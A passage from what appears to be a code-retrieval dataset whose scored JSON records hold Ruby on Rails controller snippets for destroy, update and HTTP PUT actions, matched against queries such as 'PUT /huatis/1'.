"text": "def destroy\n @behat = Behat.find(params[:id])\n @behat.destroy\n\n respond_to do |format|\n format.html { redirect_to behats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f10da5ad91e2cd8231936562b04c3e92",
"score": "0.66023487",
"text": "def destroy\n @chef_account = ChefAccount.find(params[:id])\n @chef_account.destroy\n\n respond_to do |format|\n format.html { redirect_to chef_accounts_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "566259a9c9b31f7506874f96213679c4",
"score": "0.65919036",
"text": "def delete\n shop = CoffeeShop.find_by(external_id: params[:id])\n fav = Favorite.find_by(coffee_shop_id: shop[:id], user_id: @current_user.id)\n\n fav.destroy()\n \n render json: fav\n end",
"title": ""
},
{
"docid": "a193b462ac3ded26af28b0db1ea22366",
"score": "0.65905035",
"text": "def destroy\n @borrow = Borrow.find(params[:id])\n @borrow.destroy\n\n respond_to do |format|\n format.html { redirect_to borrows_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4880e803d3970f63bd7e14f685aec863",
"score": "0.65851283",
"text": "def destroy\n @account = current_user.person.twitter_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5644d6cf6944ac90008a63c90d6a881e",
"score": "0.6581669",
"text": "def destroy\n @mysql_account = MysqlAccount.find(params[:id])\n @mysql_account.destroy\n\n respond_to do |format|\n format.html { redirect_to mysql_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d6fb645f2b4d60953e96c705ddf2d6d6",
"score": "0.65816647",
"text": "def destroy\n @much_withdraw.destroy\n respond_to do |format|\n format.html { redirect_to much_withdraws_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a3db7d14cf64675626b038843a73f0e0",
"score": "0.65705734",
"text": "def destroy\n @resource_signup_gift = Resource::SignupGift.find(params[:id])\n @resource_signup_gift.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_signup_gifts_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "57173bdea8e96b5f84b14070534f65ce",
"score": "0.65665305",
"text": "def destroy\n @mybill = Mybill.find(params[:id])\n @mybill.destroy\n\n respond_to do |format|\n format.html { redirect_to mybills_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0bf37e553794226783fc7c6206d4e16b",
"score": "0.6553891",
"text": "def destroy\n # authorize! :destroy, @buy\n # @buy = Buy.find(params[:id])\n @buy.destroy\n\n respond_to do |format|\n format.html { redirect_to buys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ed2db612a15cc9577d5d7824920e17c9",
"score": "0.65496415",
"text": "def destroy\n @whitelist_item.destroy\n respond_to do |format|\n format.html { redirect_to whitelist_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f26cf609a1446d7a54f16883bc338571",
"score": "0.654935",
"text": "def delete_account\n\t\t@client.delete(\n\t\t\t@session[\"resources\"][\"account\"][\"url\"],\n\t\t\t:headers => { \n\t\t\t\t\"Accept\" => mediaType(\"account\"),\"Content-Type\" => mediaType(\"account\"),\n\t\t\t\t\"Authorization\" => \"Capability #{@session[\"resources\"][\"account\"][\"capability\"]}\"\n\t\t})\n\tend",
"title": ""
},
{
"docid": "ab4233837bcaae6faf40ecbb56e72852",
"score": "0.65475225",
"text": "def destroy\n @affiliate_account = Affiliate::Account.find(params[:id])\n @affiliate_account.destroy\n\n respond_to do |format|\n format.html { redirect_to affiliate_accounts_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9686a447a0de15775a091cc952fd6077",
"score": "0.6541606",
"text": "def destroy\n @kth_account = KthAccount.find(params[:id])\n @kth_account.destroy\n\n respond_to do |format|\n format.html { redirect_to(kth_accounts_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d373f33721feae6994f42dc8831e8153",
"score": "0.65400565",
"text": "def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to @category, notice: 'Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "16d125ae4bf36c891c0f1275409f0ccf",
"score": "0.6539094",
"text": "def destroy\n @fish_bowl.destroy\n respond_to do |format|\n format.html { redirect_to fish_bowls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0cc207b7ba2c86ad1b69c425eb9bff9f",
"score": "0.65378994",
"text": "def destroy\n @washitem.destroy\n respond_to do |format|\n format.html { redirect_to washitems_url, notice: 'Washitem was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "22e588d4f49cc220245ea10a1fa6f5bb",
"score": "0.653442",
"text": "def destroy\n @account.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "22e588d4f49cc220245ea10a1fa6f5bb",
"score": "0.653442",
"text": "def destroy\n @account.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "b814eb00e2fefc9a783f25168d2cee03",
"score": "0.653337",
"text": "def delete\n render json: Favorite.delete(params[\"id\"])\n end",
"title": ""
},
{
"docid": "ffaa9c8b51fd30496ca041eb32d17fce",
"score": "0.65306807",
"text": "def destroy\n @twitter_account = TwitterAccount.find(params[:id])\n @twitter_account.destroy\n\n respond_to do |format|\n format.html { redirect_to twitter_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ffaa9c8b51fd30496ca041eb32d17fce",
"score": "0.65306807",
"text": "def destroy\n @twitter_account = TwitterAccount.find(params[:id])\n @twitter_account.destroy\n\n respond_to do |format|\n format.html { redirect_to twitter_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "81bab3877df6be0157fc26d31c0b4ce9",
"score": "0.6529977",
"text": "def destroy\n @account = Account.find(params[:id])\n @account.destroy \n\n respond_to do |format|\n format.html { redirect_to bank_accounts_path(@bank) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8fae1f6097ec88f81753c8a8f36572d5",
"score": "0.6523492",
"text": "def destroy\n @withdrawl.destroy\n respond_to do |format|\n format.html { redirect_to withdrawls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9a61f0b2f4ccb511c448b8183abf60cd",
"score": "0.65218526",
"text": "def destroy\n\t\t@account = Account.find_by_id(params[:id])\n \tif @account.destroy\n\t\t\trender :json => current_client.accounts\n\t\telse\n\t\t\trender :json => {}, status: :internal_server_error\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cdb23dd7f7ca46bc5ce6b84e42da822a",
"score": "0.65176785",
"text": "def destroy\n @wheretobuy.destroy\n respond_to do |format|\n format.html { redirect_to wheretobuys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5965d87f1cd774bff8a4c790f9f3249c",
"score": "0.6516452",
"text": "def destroy\n @borrower = Borrower.find(params[:id])\n @borrower.destroy\n\n respond_to do |format|\n \n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f73fd1e71741a6cf6634abd1d7b31a40",
"score": "0.6512483",
"text": "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f73fd1e71741a6cf6634abd1d7b31a40",
"score": "0.6512483",
"text": "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f73fd1e71741a6cf6634abd1d7b31a40",
"score": "0.6512483",
"text": "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f73fd1e71741a6cf6634abd1d7b31a40",
"score": "0.6512483",
"text": "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f73fd1e71741a6cf6634abd1d7b31a40",
"score": "0.6512483",
"text": "def destroy\n @account.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "19a144471f37ae61750cac1f19a4e1c0",
"score": "0.6509713",
"text": "def destroy\n @buttlelist = Buttlelist.find(params[:id])\n @buttlelist.destroy\n\n respond_to do |format|\n format.html { redirect_to buttlelists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f637868993f3585a92bf5ad19a4f51eb",
"score": "0.65032965",
"text": "def destroy\n @account = current_user.person.win_mob_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0678c8fdad3e02192205bf5ad322b98b",
"score": "0.65031767",
"text": "def destroy\n @washlist.destroy\n respond_to do |format|\n format.html { redirect_to washlists_url, notice: 'Washlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "79938ff2a85472405b23a701d8c0bd65",
"score": "0.65018356",
"text": "def destroy\n @api_v1_checklist_item.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_checklist_items_url, notice: 'Checklist item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "29fbb06aa5ed5647225b517edee42c12",
"score": "0.6501615",
"text": "def destroy\n @royaltybilling = Royaltybilling.find(params[:id])\n @royaltybilling.destroy\n\n respond_to do |format|\n format.html { redirect_to royaltybillings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0739d25b58458310bbcd5791eeeec8b6",
"score": "0.64932185",
"text": "def destroy\n @cant_check_out_bike.destroy\n respond_to do |format|\n format.html { redirect_to cant_check_out_bikes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9db4a6d710933ef6090f84b18b16b5fc",
"score": "0.64884365",
"text": "def destroy\n @pro_wmall_shop_account = Wmall::ShopAccount.find(params[:id])\n @pro_wmall_shop_account.destroy\n\n respond_to do |format|\n format.html { redirect_to pro_wmall_shop_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "78e04cff6ab801686d38c9c2a6c5bd77",
"score": "0.64877164",
"text": "def destroy\n @twit = Twit.find(params[:id])\n @twit.destroy\n\n respond_to do |format|\n format.html { redirect_to twits_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "147e9aecc72acd1016a2787b2827ad00",
"score": "0.6482643",
"text": "def destroy\n @bookmark = current_user.bookmarks.find(params[:id])\n @bookmark.destroy\n render json: @bookmark, status: :ok\n end",
"title": ""
},
{
"docid": "b682eeef8c0bce041e9391eb52e74a1a",
"score": "0.64824766",
"text": "def destroy\n authorize! :destroy, current_user, :message => 'Not authorized as an administrator.'\n @checkout_wallet = CheckoutWallet.find(params[:id])\n @checkout_wallet.destroy\n\n respond_to do |format|\n format.html { redirect_to checkout_wallets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e15e7635853df2d5aca3fc0dafebaaa",
"score": "0.6480876",
"text": "def destroy\n @account = current_user.person.facebook_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "43f8053ec2a7f415747e32ebfb06a6d3",
"score": "0.647669",
"text": "def destroy\n @buket = Buket.find(params[:id])\n @buket.destroy\n\n respond_to do |format|\n format.html { redirect_to bukets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "72a23a6364f8e8adfe40a254178c834a",
"score": "0.6474702",
"text": "def destroy\n @manbag_account = ManbagAccount.find(params[:id])\n @manbag_account.destroy\n\n respond_to do |format|\n format.html { redirect_to manbag_accounts_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "dd773661994bee943822ecf68b7d17e5",
"score": "0.64743084",
"text": "def destroy\n @buy = Buy.find(params[:id])\n @buy.destroy\n\n respond_to do |format|\n format.html { redirect_to buys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5df64fa344885dd0a580939c762f3fb7",
"score": "0.6462175",
"text": "def destroy\n authorize @final_wish\n @final_wish.destroy\n respond_to do |format|\n format.html { redirect_to back_path || final_wishes_url, notice: 'Final Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3abeadc740082b1ba38679c048769e2f",
"score": "0.6459698",
"text": "def destroy\n @basket.destroy\n\n respond_to do |format|\n format.html { redirect_to checkouts_url(user_id: @basket.user.username) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2ea0e0eb716796db7b1f3a983a090e3e",
"score": "0.6454461",
"text": "def destroy\n @bhk.destroy\n respond_to do |format|\n format.html { redirect_to bhks_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "156110fdcfe5c9e60c3a4c8aaaf4fa00",
"score": "0.6446245",
"text": "def destroy\n @bait = Bait.find(params[:id])\n @bait.destroy\n\n respond_to do |format|\n format.html { redirect_to baits_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
44bd6de307121ee99efd937157e19097
|
PUT /huatis/1 PUT /huatis/1.json
|
[
{
"docid": "1a5e35aeb8680552ba697e35fab092a1",
"score": "0.6202066",
"text": "def update\n \n\n respond_to do |format|\n if @huati.update_attributes(params[:huati])\n format.html { redirect_to @huati, notice: 'Huati was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @huati.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "d37b39a795a6e081d6480942ece1c538",
"score": "0.6581532",
"text": "def put!\n request! :put\n end",
"title": ""
},
{
"docid": "54f95a361000b6219275e377b8bf4555",
"score": "0.649551",
"text": "def update options={}\n client.put(\"/#{id}\", options)\n end",
"title": ""
},
{
"docid": "c42bde476d51212fa13cbbdb620fb4b8",
"score": "0.6458141",
"text": "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "855f81d29ee8ff100cfefb3479cedcdd",
"score": "0.6424641",
"text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"title": ""
},
{
"docid": "39fa38e0d4ccde163ebb6d5413a4a724",
"score": "0.6296749",
"text": "def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"title": ""
},
{
"docid": "bba44aa99478376d7bd6614977ad6610",
"score": "0.62813866",
"text": "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"title": ""
},
{
"docid": "13b1dd3c0a1e7640e9f6bbef06400b7e",
"score": "0.627743",
"text": "def update\n @api_haiku = Api::Haiku.find(params[:id])\n\n respond_to do |format|\n if @api_haiku.update_attributes(params[:api_haiku])\n format.html { redirect_to @api_haiku, notice: 'Haiku was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_haiku.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f92fba8e95e00b3dd2c5ecf63c292f9c",
"score": "0.6276034",
"text": "def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"title": ""
},
{
"docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a",
"score": "0.6232598",
"text": "def put(*args)\n request :put, *args\n end",
"title": ""
},
{
"docid": "598ce05f6082b7f191b55f93bdaf11d0",
"score": "0.62089443",
"text": "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"title": ""
},
{
"docid": "6f95f40d248ce0f1fff60dab15ed0dca",
"score": "0.6149788",
"text": "def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"title": ""
},
{
"docid": "98ffa158acbf02cbf2dc20af8c117e34",
"score": "0.6132916",
"text": "def update\n put :update\n end",
"title": ""
},
{
"docid": "85d2ed02d760acd40f7badcfec78a18a",
"score": "0.61184245",
"text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"title": ""
},
{
"docid": "cb3dd95e236334634556551e0af5e2b8",
"score": "0.60984224",
"text": "def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "b06e17a6ee3195795af4a38c911c058f",
"score": "0.6068516",
"text": "def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"title": ""
},
{
"docid": "5fc537305398ef4bd5ea414b9f6f5702",
"score": "0.6058657",
"text": "def put(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_put(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"title": ""
},
{
"docid": "23a904e6ddd4b6b07c4b53353e78cf93",
"score": "0.6052077",
"text": "def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"title": ""
},
{
"docid": "cfcbb47046b03f88294b5d09b40e3028",
"score": "0.6042638",
"text": "def update\n @tuoshui = Tuoshui.find(params[:id])\n\n respond_to do |format|\n if @tuoshui.update_attributes(params[:tuoshui])\n format.html { redirect_to @tuoshui, notice: 'Tuoshui was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tuoshui.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01741d646734d74a8c0133b7a5de4f82",
"score": "0.60354304",
"text": "def update\n @u = U.find(params[:id])\n\n respond_to do |format|\n if @u.update_attributes(params[:u])\n format.html { render action: \"edit\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @u.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f75edb99a52b3aa998fbcfde258bb05c",
"score": "0.6024311",
"text": "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end",
"title": ""
},
{
"docid": "10c33ce2ff041fc111cad1a5c97582d1",
"score": "0.601401",
"text": "def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end",
"title": ""
},
{
"docid": "c98462aaf3625945a5abf580260ad41c",
"score": "0.59950024",
"text": "def put(*args)\n request(:put, *args)\n end",
"title": ""
},
{
"docid": "4781fa7337315133553edb54194e6202",
"score": "0.59675354",
"text": "def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"title": ""
},
{
"docid": "d46c7869013d3100b0344461a44764e6",
"score": "0.5939388",
"text": "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"title": ""
},
{
"docid": "97dcffdafa217dfdd334e312c82e3916",
"score": "0.5936582",
"text": "def update\n @huerto = Huerto.find(params[:id])\n\n respond_to do |format|\n if @huerto.update_attributes(params[:huerto])\n format.html { redirect_to @huerto, notice: 'Huerto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @huerto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5149dce47330692ddd332d83d3904a60",
"score": "0.59282756",
"text": "def update_current_logged_in_user(args = {}) \n id = args['id']\n temp_path = \"/users.json/current\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "e0e35bb47ec0f1e27d091980aa2db21b",
"score": "0.5918157",
"text": "def put(path, params = {})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "e0e35bb47ec0f1e27d091980aa2db21b",
"score": "0.5918157",
"text": "def put(path, params = {})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "e0e35bb47ec0f1e27d091980aa2db21b",
"score": "0.5918157",
"text": "def put(path, params = {})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "7d3076f54c4b7214483d1e22cde41cf6",
"score": "0.5914033",
"text": "def put(path, data = {})\n # Allow format override\n format = data.delete(:format) || @format\n # Clear cache\n expire_matching \"#{parent_path(path)}.*\"\n # Extract return unit params\n query_params = {}\n query_params[:returnUnit] = data.delete(:returnUnit) if data[:returnUnit]\n query_params[:returnPerUnit] = data.delete(:returnPerUnit) if data[:returnPerUnit]\n # Create PUT request\n put_params = {\n :verbose => DEBUG,\n :method => \"put\",\n :body => form_encode(data)\n }\n put_params[:params] = query_params unless query_params.empty?\n put = Typhoeus::Request.new(\"#{protocol}#{@server}#{path}\", put_params)\n # Send request\n do_request(put, format)\n end",
"title": ""
},
{
"docid": "2e14c2ec2daefb35d3df889e0cc0b0a5",
"score": "0.5908323",
"text": "def put(url, body = {})\n call(url: url, action: :put, body: body)\n end",
"title": ""
},
{
"docid": "7cbcb2cda6e100042f124dacd474f3be",
"score": "0.5884603",
"text": "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "aaa53a5c120c23c441cb5ffdaf2db9f6",
"score": "0.5883348",
"text": "def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d144603e6f3c737c7e1cee9b2167ad48",
"score": "0.5882503",
"text": "def update\n params.require(%i[id units])\n retrieve_and_validate_put.update!(units: params[:units])\n head :no_content\n end",
"title": ""
},
{
"docid": "66cc6f8c37c1a0eec71b5261e03fe9c8",
"score": "0.5872877",
"text": "def update\n @sinh_vien = SinhVien.find(params[:id])\n\n respond_to do |format|\n if @sinh_vien.update_attributes(params[:sinh_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32308801a2ce64d858b119cd40a9bdab",
"score": "0.58631533",
"text": "def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"title": ""
},
{
"docid": "a5f3b8d4fe780ee9202f99bdff3c8f32",
"score": "0.5862855",
"text": "def put(path, data=nil)\n request(:put, path, data)\n end",
"title": ""
},
{
"docid": "14c905f394d21126bbf18a315ee60cad",
"score": "0.58615196",
"text": "def update(*args)\n put(*args)\n end",
"title": ""
},
{
"docid": "14c905f394d21126bbf18a315ee60cad",
"score": "0.58615196",
"text": "def update(*args)\n put(*args)\n end",
"title": ""
},
{
"docid": "0bf570f93f81535f1f6f9f2a01e1e627",
"score": "0.5857318",
"text": "def put(path, params = {})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "0bf570f93f81535f1f6f9f2a01e1e627",
"score": "0.5857318",
"text": "def put(path, params = {})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "03f2da2ebf5dd2691a8c2e87c498da5a",
"score": "0.58484095",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "313a528748a15afba5cf91f53ebfefbf",
"score": "0.5845344",
"text": "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"title": ""
},
{
"docid": "d9d2fccb80534f3040152a9b68c673d5",
"score": "0.5845337",
"text": "def put endpoint, data\n do_request :put, endpoint, data\n end",
"title": ""
},
{
"docid": "8f20bf69ff80f5be732782384f9cf85e",
"score": "0.5818059",
"text": "def put(path, opts = {})\n request(:put, path, opts).body\n end",
"title": ""
},
{
"docid": "8a13274db511c9f77dca6ddb4f952eb5",
"score": "0.58111644",
"text": "def put(path, options={})\n request :put, path, options\n end",
"title": ""
},
{
"docid": "692065ccfa2a028e77618aa3670bd2f2",
"score": "0.58064866",
"text": "def put(path, params={})\n request(:put, path, params)\n end",
"title": ""
},
{
"docid": "af650fc4622ee30e03af7ae03bcb40cb",
"score": "0.58044463",
"text": "def update\n @hijo = Hijo.find(params[:id])\n\n respond_to do |format|\n if @hijo.update_attributes(params[:hijo])\n format.html { redirect_to @hijo, notice: 'Hijo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hijo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "deb64599aef6b5d7c6d60630cb78ab5d",
"score": "0.58009905",
"text": "def update\n @uset = Uset.find(params[:id])\n\n respond_to do |format|\n if @uset.update_attributes(params[:uset])\n format.html { redirect_to @uset, notice: 'Uset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @uset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2560210589bf4b5643ce1e4d7c7d039d",
"score": "0.5795778",
"text": "def put(path, data={})\n request(:put, path, data)\n end",
"title": ""
},
{
"docid": "4a63afea1b2671f8cf26eb3993f4ae39",
"score": "0.57881534",
"text": "def update\n respond_to do |format|\n if @hospice.update(hospice_params)\n format.html { redirect_to @hospice, notice: 'Hospice was successfully updated.' }\n format.json { render :show, status: :ok, location: @hospice }\n else\n format.html { render :edit }\n format.json { render json: @hospice.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb2014c2b3d23bbeaeef63f4f1561e38",
"score": "0.57880515",
"text": "def update\n @current_user = current_user\n @haiku = Haiku.find(params[:id])\n\n respond_to do |format|\n if @haiku.update_attributes(params[:haiku])\n format.html { redirect_to(@haiku, :notice => 'Haiku was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @haiku.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e653fba21ef579fa3a6c85fba4711d33",
"score": "0.57867277",
"text": "def update\n respond_to do |format|\n if @shouji.update(shouji_params)\n format.html { redirect_to @shouji, notice: 'Shouji was successfully updated.' }\n format.json { render :show, status: :ok, location: @shouji }\n else\n format.html { render :edit }\n format.json { render json: @shouji.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d4c461826ceb8e7a93bdd4158217079",
"score": "0.57860816",
"text": "def put url, object = nil\n request url, HTTP::Put, object\n end",
"title": ""
},
{
